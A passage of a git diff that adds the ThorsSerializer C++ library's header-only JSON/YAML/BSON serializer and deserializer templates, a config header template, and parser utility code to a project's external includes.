Key"); + } + + + std::string keyValue; + if (parser.getKey() != parser.config.polymorphicMarker) + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "tryParsePolyMorphicObject", + "Invalid PolyMorphic Object. Expecting Key Name ", parser.config.polymorphicMarker); + } + + tokenType = parser.getToken(); + if (tokenType != ParserInterface::ParserToken::Value) + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "tryParsePolyMorphicObject", + "Invalid Object. Expecting Value"); + } + + std::string className; + parser.getValue(className); + + using BaseType = typename std::remove_pointer::type; + using AllocType = typename GetAllocationType::AllocType; + object = ConvertPointer::assign(PolyMorphicRegistry::getNamedTypeConvertedTo(className)); + + // This uses a virtual method in the object to + // call parsePolyMorphicObject() the difference + // will be the type of the template used as we will + // get the type 'T' of the most derived type of + // the actual runtime object. + // + // To install this virtual method use the macro + // ThorsAnvil_PolyMorphicSerializer See Traits.h for details. + parser.pushBackToken(ParserInterface::ParserToken::MapStart); + object->parsePolyMorphicObject(parent, parser); +} +template +auto tryParsePolyMorphicObject(DeSerializer& parent, ParserInterface& parser, T& object, long) -> void +{ + using TraitPoint = Traits; + object = TraitPoint::alloc(); + + parsePolyMorphicObject(parent, parser, *object); +} +/* ------------ PolyMorphic Serializer ------------------------- */ +template +void parsePolyMorphicObject(DeSerializer& parent, ParserInterface& parser, T& object) +{ + using TraitBase = Traits; + DeSerializationForBlock pointerDeSerializer(parent, parser); + pointerDeSerializer.scanObject(object); +} + +template +class DeSerializationForBlock +{ + DeSerializer& parent; + ParserInterface& parser; + public: + DeSerializationForBlock(DeSerializer& parent, ParserInterface& parser) + : parent(parent) + , parser(parser) + {} + void scanObject(T& object) + { + Traits::release(object); + + ParserInterface::ParserToken tokenType = parser.getToken(); + if (parser.isValueNull()) + { + parser.ignoreDataValue(); + object = nullptr; + return; + } + + parser.pushBackToken(tokenType); + + tryParsePolyMorphicObject(parent, parser, object, 0); + } +}; +/* + * Specialization for Enum. + * This is only used at the top level. + * There is no open or close. Just a single value is expected. + */ +template +class DeSerializationForBlock +{ + DeSerializer& parent; + ParserInterface& parser; + public: + DeSerializationForBlock(DeSerializer& parent, ParserInterface& parser) + : parent(parent) + , parser(parser) + {} + void scanObject(T& object) + { + ParserInterface::ParserToken tokenType = parser.getToken(); + if (tokenType != ParserInterface::ParserToken::Value) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializationForBlock", + "DeSerializationForBlock", + "Invalid Object"); + } + std::string objectValue; + parser.getValue(objectValue); + + object = Traits::getValue(objectValue, "ThorsAnvil::Serialize::DeSerializationForBlock::DeSerializationForBlock:"); + } +}; + +/* + * Specialization for Array. + * It is like Map expect that there are no Keys. + * This made it different enough that combining this into a single + * function was messy. + */ +template +class DeSerializationForBlock +{ + DeSerializer& parent; + ParserInterface& parser; + std::size_t index; + public: + DeSerializationForBlock(DeSerializer& parent, ParserInterface& parser) + : parent(parent) + , parser(parser) + , index(-1) + { + ParserInterface::ParserToken tokenType = parser.getToken(); + + if (tokenType != ParserInterface::ParserToken::ArrayStart) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializationForBlock", + "DeSerializationForBlock", + "Invalid Object Start"); + } + } + + void scanObject(T& object) + { + while (hasMoreValue()) + { + parent.scanObjectMembers(index, object); + } + } + bool hasMoreValue() + { + ParserInterface::ParserToken tokenType = parser.getToken(); + bool result = tokenType != ParserInterface::ParserToken::ArrayEnd; + if (result) + { + parser.pushBackToken(tokenType); + ++index; + } + return result; + } +}; + +/* ------------ DeSerializeMember ------------------------- */ + +template +DeSerializeMemberContainer::DeSerializeMemberContainer(DeSerializer&, ParserInterface& parser, std::string const& key, T& object, std::pair const& memberInfo) +{ + if (key.compare(memberInfo.first) == 0) + { + used = true; + DeSerializer deSerializer(parser, false); + deSerializer.parse(object.*(memberInfo.second)); + } +} + +template +DeSerializeMemberValue::DeSerializeMemberValue(DeSerializer& parent, ParserInterface& parser, std::string const& key, T& object, std::pair const& memberInfo) +{ + init(parent, parser, key, memberInfo.first, object.*(memberInfo.second)); +} + +template +DeSerializeMemberValue::DeSerializeMemberValue(DeSerializer& parent, ParserInterface& parser, std::string const& key, T&, std::pair const& memberInfo) +{ + init(parent, parser, key, memberInfo.first, *(memberInfo.second)); +} + +template +void DeSerializeMemberValue::init(DeSerializer& parent, ParserInterface& parser, std::string const& key, char const* name, M& object) +{ + if (key.compare(name) == 0) + { + used = true; + DeSerializationForBlock deserializer(parent, parser); + deserializer.scanObject(object); + } +} + +template::type> +class DeSerializeMember: public TraitsInfo::DeSerializeMember +{ + using Parent = typename TraitsInfo::DeSerializeMember; + public: + using Parent::Parent; +}; + +template +DeSerializeMember make_DeSerializeMember(DeSerializer& parent, ParserInterface& parser, std::string const& key, T& object, std::pair const& memberInfo) +{ + return DeSerializeMember(parent, parser, key, object, memberInfo); +} + +template +DeSerializeMember make_DeSerializeMember(DeSerializer& parent, ParserInterface& parser, std::string const& key, T& object, std::pair const& memberInfo) +{ + return DeSerializeMember(parent, parser, key, object, memberInfo); +} + +/* ------------ DeSerializer ------------------------- */ +template +inline bool DeSerializer::scanEachMember(std::string const& key, T& object, Members const& member, std::index_sequence const&) +{ + using CheckMembers = std::initializer_list; + CheckMembers memberCheck = {static_cast(make_DeSerializeMember(*this, parser, key, object, std::get(member)))...}; + return std::find(std::begin(memberCheck), std::end(memberCheck), true) != std::end(memberCheck); +} + +template +inline bool DeSerializer::scanMembers(std::string const& key, T& object, std::tuple const& members) +{ + return scanEachMember(key, object, members, std::make_index_sequence()); +} + +template +inline bool DeSerializer::scanMembers(I const& key, T& object, Action action) +{ + action(parser, key, object); + return true; +} + +template +inline bool DeSerializer::scanObjectMembers(I const& key, T& object) +{ + ApplyActionToParent::type, T, I> parentScanner; + + bool result = parentScanner.scanParentMember(*this, key, object) + || scanMembers(key, object, Traits::getMembers()); + return result; +} + +template +inline void DeSerializer::parse(T& object) +{ + try + { + DeSerializationForBlock::type, T> block(*this, parser); + block.scanObject(object); + } + catch (std::exception const& e) + { + root = false; + ThorsCatchMessage("ThorsAnvil::Serialize::DeSerializer", "parse", e.what()); + ThorsRethrowMessage("ThorsAnvil::Serialize::DeSerializer", "parse", e.what()); + throw; + } + catch (...) + { + root = false; + ThorsCatchMessage("ThorsAnvil::Serialize::DeSerializer", "parse", "UNKNOWN"); + ThorsRethrowMessage("ThorsAnvil::Serialize::DeSerializer", "parse", "UNKNOWN"); + throw; + } +} + +/* ------------ SerializerForBlock ------------------------- */ + +template +class SerializerForBlock +{ + static_assert( + traitType != TraitType::Invalid, + "Invalid Serialize TraitType. This usually means you have not define ThorsAnvil::Serialize::Traits" + ); + + Serializer& parent; + PrinterInterface& printer; + T const& object; + public: + SerializerForBlock(Serializer& parent, PrinterInterface& printer, T const& object, bool poly = false) + : parent(parent) + , printer(printer) + , object(object) + { + std::size_t size = 0; + if (printer.printerUsesSize()) + { + size = Traits::getPrintSize(printer, object, poly); + } + printer.openMap(size); + } + ~SerializerForBlock() + { + printer.closeMap(); + } + void printMembers() + { + parent.printObjectMembers(object); + } + void printPolyMorphicMembers(std::string const& type) + { + printer.addKey(printer.config.polymorphicMarker); + printer.addValue(type); + printMembers(); + } +}; + +template +class SerializerForBlock +{ + Serializer& parent; + PrinterInterface& printer; + T const& object; + public: + SerializerForBlock(Serializer& parent, PrinterInterface& printer,T const& object, bool /*poly*/ = false) + : parent(parent) + , printer(printer) + , object(object) + {} + ~SerializerForBlock() {} + void printMembers() + { + printer.addValue(object); + } +}; +template +class [[deprecated("This is caused by suing the ThorsAnvil_MakeTraitCustom macro. This is a bit hacky as it simply drops data into the stream. Please upgrade to ThorsAnvil_SelfSerialize as this allows custom behavior depending on the underlying format Json/Yaml/Bson")]] +SerializerForBlock +{ + Serializer& parent; + PrinterInterface& printer; + T const& object; + public: + SerializerForBlock(Serializer& parent, PrinterInterface& printer,T const& object, bool /*poly*/ = false) + : parent(parent) + , printer(printer) + , object(object) + {} + ~SerializerForBlock() {} + void printMembers() + { + std::stringstream buffer; + buffer << object; + if (printer.printerUsesSize() && parent.isRoot()) + { + // Force a call to getPrintSize() + // Otherwise this is not done at the root level. + Traits::getPrintSize(printer, object, false); + } + printer.addRawValue(buffer.str()); + } +}; +template +class SerializerForBlock +{ + Serializer& parent; + PrinterInterface& printer; + T const& object; + public: + SerializerForBlock(Serializer& parent, PrinterInterface& printer,T const& object, bool /*poly*/ = false) + : parent(parent) + , printer(printer) + , object(object) + {} + ~SerializerForBlock() {} + void printMembers() + { + using SerializingType = typename Traits::SerializingType; + SerializingType info; + info.writeCustom(printer, object); + } +}; + +/* ------------ tryPrintPolyMorphicObject Serializer ------------------------- */ +template +auto tryPrintPolyMorphicObject(Serializer& parent, PrinterInterface& printer, T const& object, int) -> decltype(object->printPolyMorphicObject(parent, printer), void()) +{ + // This uses a virtual method in the object to + // call printPolyMorphicObject() the difference + // will be the type of the template used as we will + // get the type 'T' of the most derived type of + // the actual runtime object. + // + // To install this virtual method use the macro + // ThorsAnvil_PolyMorphicSerializer See Traits.h for details. + object->printPolyMorphicObject(parent, printer); +} +template +auto tryPrintPolyMorphicObject(Serializer& parent, PrinterInterface& printer, T const& object, long) -> void +{ + // This version is called if the object foes not have a virtual + // `printPolyMorphicObject()`. Thus you get a call to the current + // object and thus we simply use `T` and we can simply print the + // normal members. + using BaseType = typename BaseTypeGetter::type; + SerializerForBlock::type, BaseType> block(parent, printer, *object); + block.printMembers(); +} +/* ------------ PolyMorphic Serializer ------------------------- */ +template +void printPolyMorphicObject(Serializer& parent, PrinterInterface& printer, T const& object) +{ + using BaseType = typename std::remove_pointer::type; + SerializerForBlock::type, BaseType> block(parent, printer, object, true); + + // Note the call to printPolyMorphicMembers() rather than printMembers() + // this adds the "__type": "" + block.printPolyMorphicMembers(T::polyMorphicSerializerName()); +} + +template +class SerializerForBlock +{ + Serializer& parent; + PrinterInterface& printer; + T const& object; + public: + SerializerForBlock(Serializer& parent, PrinterInterface& printer,T const& object, bool /*poly*/ = false) + : parent(parent) + , printer(printer) + , object(object) + {} + ~SerializerForBlock() {} + void printMembers() + { + if (object == nullptr) + { + printer.addNull(); + } + else + { + // Use SFINAE to call one of two versions of the function. + tryPrintPolyMorphicObject(parent, printer, object, 0); + } + } +}; + +template +class SerializerForBlock +{ + Serializer& parent; + PrinterInterface& printer; + T const& object; + public: + SerializerForBlock(Serializer& parent, PrinterInterface& printer,T const& object, bool /*poly*/ = false) + : parent(parent) + , printer(printer) + , object(object) + {} + ~SerializerForBlock() {} + void printMembers() + { + printer.addValue(Traits::getValues().find(object)->second); + } +}; + +template +class SerializerForBlock +{ + Serializer& parent; + PrinterInterface& printer; + T const& object; + public: + SerializerForBlock(Serializer& parent, PrinterInterface& printer, T const& object, bool /*poly*/ = false) + : parent(parent) + , printer(printer) + , object(object) + { + std::size_t size = 0; + if (printer.printerUsesSize()) + { + size = Traits::getPrintSize(printer, object, false); + } + printer.openArray(size); + } + ~SerializerForBlock() + { + printer.closeArray(); + } + void printMembers() + { + parent.printObjectMembers(object); + } +}; + +/* ------------ SerializeMember ------------------------- */ + +template +SerializeMemberContainer::SerializeMemberContainer(Serializer&, PrinterInterface& printer, T const& object, std::pair const& memberInfo) +{ + printer.addKey(memberInfo.first); + + Serializer serialzier(printer, false); + serialzier.print(object.*(memberInfo.second)); +} + +template +SerializeMemberValue::SerializeMemberValue(Serializer& parent, PrinterInterface& printer, T const& object, std::pair const& memberInfo) +{ + init(parent, printer, memberInfo.first, object.*(memberInfo.second)); +} + +template +SerializeMemberValue::SerializeMemberValue(Serializer& parent, PrinterInterface& printer, T const&, std::pair const& memberInfo) +{ + init(parent, printer, memberInfo.first, *(memberInfo.second)); +} + +template +void SerializeMemberValue::init(Serializer& parent, PrinterInterface& printer, char const* member, M const& object) +{ + printer.addKey(member); + SerializerForBlock serializer(parent, printer, object); + serializer.printMembers(); +} + +template::type>::type> +class SerializeMember: public TraitsInfo::SerializeMember +{ + using Parent = typename TraitsInfo::SerializeMember; + public: + using Parent::Parent; +}; + +template +SerializeMember make_SerializeMember(Serializer& ser, PrinterInterface& printer, T const& object, std::pair const& memberInfo) +{ + return SerializeMember(ser, printer, object, memberInfo); +} +template +SerializeMember make_SerializeMember(Serializer& ser, PrinterInterface& printer, T const& object, std::pair const& memberInfo) +{ + return SerializeMember(ser, printer, object, memberInfo); +} + +/* ------------ Serializer ------------------------- */ + +template +inline void Serializer::printEachMember(T const& object, Members const& member, std::index_sequence const&) +{ + auto discard = {1, (make_SerializeMember(*this, printer, object, std::get(member)),1)...}; + (void)discard; +} + +template +inline void Serializer::printMembers(T const& object, std::tuple const& members) +{ + printEachMember(object, members, std::make_index_sequence()); +} + +template +inline void Serializer::printMembers(T const& object, Action action) +{ + action(printer, object); +} + +template +inline void Serializer::print(T const& object) +{ + SerializerForBlock::type, T> block(*this, printer, object); + block.printMembers(); +} + +template +struct IndexType; + +template<> +struct IndexType +{ + using IndexInfoType = std::string; +}; +template<> +struct IndexType +{ + using IndexInfoType = std::size_t; +}; +template<> +struct IndexType +{ + using IndexInfoType = std::string; +}; + + +template +inline void Serializer::printObjectMembers(T const& object) +{ + using IndexInfoType = typename IndexType::type>::IndexInfoType; + + ApplyActionToParent::type, T, IndexInfoType> parentPrinter; + + parentPrinter.printParentMembers(*this, object); + printMembers(object, Traits::getMembers()); +} + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/SerializeConfig.h.in b/Extern/include/ThorsSerializer/SerializeConfig.h.in new file mode 100644 index 0000000..46b0ed1 --- /dev/null +++ b/Extern/include/ThorsSerializer/SerializeConfig.h.in @@ -0,0 +1,106 @@ +/* config.h.in. Generated from configure.ac by autoheader. */ + +/* Define if building universal (internal helper macro) */ +#undef AC_APPLE_UNIVERSAL_BUILD + +/* Name of the 64/128 bit endian swapping function */ +#undef BSWAP64 + +/* Define to 1 if you have the header file. */ +#undef HAVE_ASM_BYTEORDER_H + +/* Define to 1 if BSWAP64 is defined to the name of a valid 64 bit endian + swapping function */ +#undef HAVE_BSWAP64 + +/* Define to 1 if you have the header file. */ +#undef HAVE_DLFCN_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_INTTYPES_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_MEMORY_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STDINT_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STDLIB_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STRINGS_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STRING_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_ENDIAN_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_STAT_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_TYPES_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_UNISTD_H + +/* When on Yaml Serialization code will be compiled */ +#undef HAVE_YAML + +/* Define to the sub-directory where libtool stores uninstalled libraries. */ +#undef LT_OBJDIR + +/* We have functions to convert host to network byte order for 64/128 bit + values */ +#undef NETWORK_BYTE_ORDER + +/* Name of package */ +#undef PACKAGE + +/* Define to the address where bug reports for this package should be sent. */ +#undef PACKAGE_BUGREPORT + +/* Define to the full name of this package. */ +#undef PACKAGE_NAME + +/* Define to the full name and version of this package. */ +#undef PACKAGE_STRING + +/* Define to the one symbol short name of this package. */ +#undef PACKAGE_TARNAME + +/* Define to the home page for this package. */ +#undef PACKAGE_URL + +/* Define to the version of this package. */ +#undef PACKAGE_VERSION + +/* Define to 1 if you have the ANSI C header files. */ +#undef STDC_HEADERS + +/* Version number of package */ +#undef VERSION + +/* Enable to use header only libraries */ +#undef HEADER_ONLY + +/* For header only convery to inline */ +#undef HEADER_ONLY_INCLUDE + +/* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most + significant byte first (like Motorola and SPARC, unlike Intel). */ +#if defined AC_APPLE_UNIVERSAL_BUILD +# if defined __BIG_ENDIAN__ +# define WORDS_BIGENDIAN 1 +# endif +#else +# ifndef WORDS_BIGENDIAN +# undef WORDS_BIGENDIAN +# endif +#endif + +/* Define to 1 if `lex' declares `yytext' as a `char *' by default, not a + `char[]'. */ +#undef YYTEXT_POINTER diff --git a/Extern/include/ThorsSerializer/ThorsSerializerUtil.cpp b/Extern/include/ThorsSerializer/ThorsSerializerUtil.cpp new file mode 100644 index 0000000..da3b63c --- /dev/null +++ b/Extern/include/ThorsSerializer/ThorsSerializerUtil.cpp @@ -0,0 +1,124 @@ +#include "SerializeConfig.h" +#include "ThorsSerializerUtil.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include + +#pragma vera-pushoff +using namespace std::string_literals; +#pragma vera-pop + +using namespace ThorsAnvil::Serialize; + +std::string const ThorsAnvil::Serialize::defaultPolymorphicMarker = "__type"s; + +HEADER_ONLY_INCLUDE +void ParserInterface::ignoreValue() +{ + if (config.parseStrictness != ParseType::Weak) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreValue", + "In Strict parser mode not allowed to ignore values."); + } + + ignoreTheValue(); +} + +HEADER_ONLY_INCLUDE +void ParserInterface::ignoreTheMap() +{ + for (ParserToken token = getNextToken(); token != ParserToken::MapEnd; token = getNextToken()) + { + ignoreDataValue(); + if (token != ParserToken::Key) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheMap", + "Invalid token found. (Expecting Key)"); + } + ignoreTheValue(); + } +} + +HEADER_ONLY_INCLUDE +void ParserInterface::ignoreTheArray() +{ + ParserToken token = getNextToken(); + while (token != ParserToken::ArrayEnd) + { + switch (token) + { + case ParserToken::Error: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheArray", + "Invalid token found: Error"); + } + case ParserToken::Key: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheArray", + "Invalid token found: Key"); + } + case ParserToken::MapEnd: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheArray", + "Invalid token found: MapEnd"); + } + case ParserToken::Value: ignoreDataValue(); break; + case ParserToken::MapStart: ignoreTheMap(); break; + case ParserToken::ArrayStart:ignoreTheArray(); break; + default: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheArray", + "Invalid token found: Unknown"); + } + } + token = getNextToken(); + } +} + +HEADER_ONLY_INCLUDE +void ParserInterface::ignoreTheValue() +{ + ParserToken token = getNextToken(); + switch (token) + { + case ParserToken::Error: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheValue", + "Invalid token found: Error"); + } + case ParserToken::Key: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheValue", + "Invalid token found: Key"); + } + case ParserToken::MapEnd: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheValue", + "Invalid token found: MapEnd"); + } + case ParserToken::ArrayEnd: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheValue", + "Invalid token found: ArrayEnd"); + } + case ParserToken::Value: ignoreDataValue(); break; + case ParserToken::MapStart: ignoreTheMap(); break; + case ParserToken::ArrayStart:ignoreTheArray(); break; + default: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "ignoreTheValue", + "Invalid token found: Unknown"); + } + } +} diff --git a/Extern/include/ThorsSerializer/ThorsSerializerUtil.h b/Extern/include/ThorsSerializer/ThorsSerializerUtil.h new file mode 100644 index 0000000..4bf424d --- /dev/null +++ b/Extern/include/ThorsSerializer/ThorsSerializerUtil.h @@ -0,0 +1,593 @@ +#ifndef THORS_ANVIL_SERIALIZER_THORSSERIALIZERUTIL_H +#define THORS_ANVIL_SERIALIZER_THORSSERIALIZERUTIL_H + +//#include "ThorsIOUtil/Utility.h" +//#include "ThorsLogging/ThorsLogging.h" +#include +#include +#include +#include +#include +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +struct EscapeString +{ + std::string const& value; + EscapeString(std::string const& value) + : value(value) + {} + friend std::ostream& operator<<(std::ostream& stream, EscapeString const& data) + { + std::string const& value = data.value; + + static auto isEscape = [](char c) + { + return (c >= 0x00 && c <= 0x1f) || c == '"' || c == '\\'; + }; + + auto begin = std::begin(value); + auto end = std::end(value); + auto next = std::find_if(begin, end, isEscape); + if (next == end) + { + stream << value; + } + else + { + while (next != end) + { + stream << std::string(begin, next); + if (*next == '"') + { + stream << R"(\")"; + ++next; + } + else if (*next == '\\') + { + stream << R"(\\)"; + ++next; + } + else if (*next == 0x08) + { + stream << R"(\b)"; + ++next; + } + else if (*next == 0x0C) + { + stream << R"(\f)"; + ++next; + } + else if (*next == 0x0A) + { + stream << R"(\n)"; + ++next; + } + else if (*next == 0x0D) + { + stream << R"(\r)"; + ++next; + } + else if (*next == 0x09) + { + stream << R"(\t)"; + ++next; + } + else + { + stream << R"(\u)" + << std::setw(4) + << std::setfill('0') + << std::hex + << static_cast(static_cast(*next)) + << std::dec; + ++next; + } + /* + else + { + 110xxxxx + + stream << R("\u") << std::setw(4) << std::setfill('0') << std::hex << codepoint; + } + */ + begin = next; + next = std::find_if(begin, end, isEscape); + } + stream << std::string(begin, end); + } + return stream; + } +}; + +extern std::string const defaultPolymorphicMarker; + +/* + * Defines the generic type that all serialization types can expand on + */ +enum class TraitType {Invalid, Parent, Value, Map, Array, Enum, Pointer, Custom_Depricated, Custom_Serialize}; +enum class FormatType{Json, Yaml, Bson}; + +template +class Traits; + +template +struct HasParent: std::false_type +{}; + +template +struct HasParent::Parent) >= 0)>>: std::true_type +{}; + +/* + * A class for holding multiple header types. + * Multiple enheritance is a rare case but it does happen (has been requested). + * Because we are using macros I can allow a comma seporated list of parents so we have to + * group the types into a single unique type "Parents". Then we will specialize the parsing + * and printing code to handle this as a special case. + */ +template +struct Parents: public std::tuple {}; + +/* + * To help the macros check the parent type we need to extract the type. + * There is a special case when we use "Parents" to get the first type + */ +template +struct GetPrimaryParentType +{ + using type = T; +}; +template +struct GetPrimaryParentType> +{ + using type = typename std::tuple_element<0, std::tuple>::type; +}; + +class ParserInterface +{ + public: + enum class ParseType {Weak, Strict, Exact}; + enum class ParserToken {Error, DocStart, DocEnd, MapStart, MapEnd, ArrayStart, ArrayEnd, Key, Value}; + struct ParserConfig + { + ParserConfig(ParseType parseStrictness = ParseType::Weak, + std::string const& polymorphicMarker = defaultPolymorphicMarker, + bool catchExceptions = true) + : parseStrictness(parseStrictness) + , polymorphicMarker(polymorphicMarker) + , catchExceptions(catchExceptions) + , parserInfo(0) + {} + ParserConfig(std::string const& polymorphicMarker, bool catchExceptions = true) + : parseStrictness(ParseType::Weak) + , polymorphicMarker(polymorphicMarker) + , catchExceptions(catchExceptions) + , parserInfo(0) + {} + ParserConfig(bool catchExceptions) + : parseStrictness(ParseType::Weak) + , polymorphicMarker(defaultPolymorphicMarker) + , catchExceptions(catchExceptions) + , parserInfo(0) + {} + ParserConfig(ParseType parseStrictness, bool catchExceptions) + : parseStrictness(parseStrictness) + , polymorphicMarker(defaultPolymorphicMarker) + , catchExceptions(catchExceptions) + , parserInfo(0) + {} + ParseType parseStrictness; + std::string polymorphicMarker; + bool catchExceptions; + long parserInfo; + }; + + std::istream& input; + ParserToken pushBack; + ParserConfig config; + + ParserInterface(std::istream& input, ParserConfig config = ParserConfig{}) + : input(input) + , pushBack(ParserToken::Error) + , config(config) + {} + virtual ~ParserInterface() {} + virtual FormatType formatType() = 0; + ParserToken getToken(); + void pushBackToken(ParserToken token); + virtual ParserToken getNextToken() = 0; + virtual std::string getKey() = 0; + + virtual void ignoreDataValue() {} + + virtual void getValue(short int&) = 0; + virtual void getValue(int&) = 0; + virtual void getValue(long int&) = 0; + virtual void getValue(long long int&) = 0; + + virtual void getValue(unsigned short int&) = 0; + virtual void getValue(unsigned int&) = 0; + virtual void getValue(unsigned long int&) = 0; + virtual void getValue(unsigned long long int&)= 0; + + virtual void getValue(float&) = 0; + virtual void getValue(double&) = 0; + virtual void getValue(long double&) = 0; + + virtual void getValue(bool&) = 0; + + virtual void getValue(std::string&) = 0; + + virtual bool isValueNull() = 0; + + virtual std::string getRawValue() = 0; + + void ignoreValue(); + + std::istream& stream() {return input;} + private: + void ignoreTheValue(); + void ignoreTheMap(); + void ignoreTheArray(); + +}; + +class PrinterInterface +{ + public: + enum class OutputType {Default, Stream, Config}; + struct PrinterConfig + { + PrinterConfig(OutputType characteristics = OutputType::Default, + std::string const& polymorphicMarker = defaultPolymorphicMarker, + bool catchExceptions = true) + : characteristics(characteristics) + , polymorphicMarker(polymorphicMarker) + , catchExceptions(catchExceptions) + , parserInfo(0) + {} + PrinterConfig(std::string const& polymorphicMarker, + bool catchExceptions = true) + : characteristics(OutputType::Default) + , polymorphicMarker(polymorphicMarker) + , catchExceptions(catchExceptions) + , parserInfo(0) + {} + PrinterConfig(bool catchExceptions) + : characteristics(OutputType::Default) + , polymorphicMarker(defaultPolymorphicMarker) + , catchExceptions(catchExceptions) + , parserInfo(0) + {} + PrinterConfig(OutputType characteristic, bool catchExceptions) + : characteristics(characteristic) + , polymorphicMarker(defaultPolymorphicMarker) + , catchExceptions(catchExceptions) + , parserInfo(0) + {} + OutputType characteristics; + std::string polymorphicMarker; + bool catchExceptions; + long parserInfo; + }; + // Default: What ever the implementation likes. + // Stream: Compressed for over the wire protocol. + // Config: Human readable (potentially config file like) + + std::ostream& output; + PrinterConfig config; + + PrinterInterface(std::ostream& output, PrinterConfig config = PrinterConfig{}) + : output(output) + , config(config) + {} + virtual ~PrinterInterface() {} + virtual FormatType formatType() = 0; + virtual void openDoc() = 0; + virtual void closeDoc() = 0; + virtual void openMap(std::size_t size) = 0; + virtual void closeMap() = 0; + virtual void openArray(std::size_t size) = 0; + virtual void closeArray() = 0; + + virtual void addKey(std::string const& key) = 0; + + virtual void addValue(short int) = 0; + virtual void addValue(int) = 0; + virtual void addValue(long int) = 0; + virtual void addValue(long long int) = 0; + + virtual void addValue(unsigned short int) = 0; + virtual void addValue(unsigned int) = 0; + virtual void addValue(unsigned long int) = 0; + virtual void addValue(unsigned long long int)= 0; + + virtual void addValue(float) = 0; + virtual void addValue(double) = 0; + virtual void addValue(long double) = 0; + + virtual void addValue(bool) = 0; + + virtual void addValue(std::string const&) = 0; + + virtual void addRawValue(std::string const&) = 0; + + virtual void addNull() = 0; + + void addValue(void*) = delete; + void addValue(void const*) = delete; + + virtual bool printerUsesSize() {return false;} + virtual std::size_t getSizeMap(std::size_t /*count*/) {return 0;} + virtual std::size_t getSizeArray(std::size_t /*count*/) {return 0;} + virtual std::size_t getSizeNull() {return 0;} + virtual std::size_t getSizeValue(short int) {return 0;} + virtual std::size_t getSizeValue(int) {return 0;} + virtual std::size_t getSizeValue(long int) {return 0;} + virtual std::size_t getSizeValue(long long int) {return 0;} + virtual std::size_t getSizeValue(unsigned short int) {return 0;} + virtual std::size_t getSizeValue(unsigned int) {return 0;} + virtual std::size_t getSizeValue(unsigned long int) {return 0;} + virtual std::size_t getSizeValue(unsigned long long int) {return 0;} + virtual std::size_t getSizeValue(float) {return 0;} + virtual std::size_t getSizeValue(double) {return 0;} + virtual std::size_t getSizeValue(long double) {return 0;} + virtual std::size_t getSizeValue(bool) {return 0;} + virtual std::size_t getSizeValue(std::string const&) {return 0;} + virtual std::size_t getSizeRaw(std::size_t) {return 0;} + + std::ostream& stream() {return output;} +}; + +template::value> +struct CalcSizeHelper +{ + std::size_t getPrintSize(PrinterInterface& printer, T const& /*object*/, std::size_t& count, std::size_t& memberSize) + { + return memberSize + printer.getSizeMap(count); + } +}; +template +struct CalcSizeHelper +{ + std::size_t getPrintSize(PrinterInterface& printer, T const& object, std::size_t& count, std::size_t& memberSize) + { + return ThorsAnvil::Serialize::Traits::Parent>::getPrintSizeTotal(printer, object, count, memberSize); + } +}; + +/* + * Basic Types: + * ============ + * + * Traits + * Traits + * Traits + * Traits + * Traits + * Traits + * Traits + * Traits + * + * Traits + * Traits + * Traits + * + * Traits + * + * Traits + * + * Partial Types: + * ============== + * Pointer Types + * Traits + * + * Special Thor Types + * ================== + * Traits> + * + */ + +/* + * Declare types that can be read/written directly by the parser/printer + * as value types. Other compound types need to use the Serializer/Deserializer + */ + +#define THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(TYPE) \ +template<> \ +class Traits \ +{ \ + public: \ + static constexpr TraitType type = TraitType::Value; \ + static std::size_t getPrintSize(PrinterInterface& printer, TYPE const& value, bool) \ + { \ + return printer.getSizeValue(value); \ + } \ +} + +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(short int); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(int); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(long int); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(long long int); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(unsigned short int); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(unsigned int); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(unsigned long int); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(unsigned long long int); + +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(float); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(double); +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(long double); + +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(bool); + +THORSANVIL_TRAITS_FOR_BASIC_TYPE_VALUE(std::string); + +#if 0 +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(short int)}; +template<> class Traits {public: 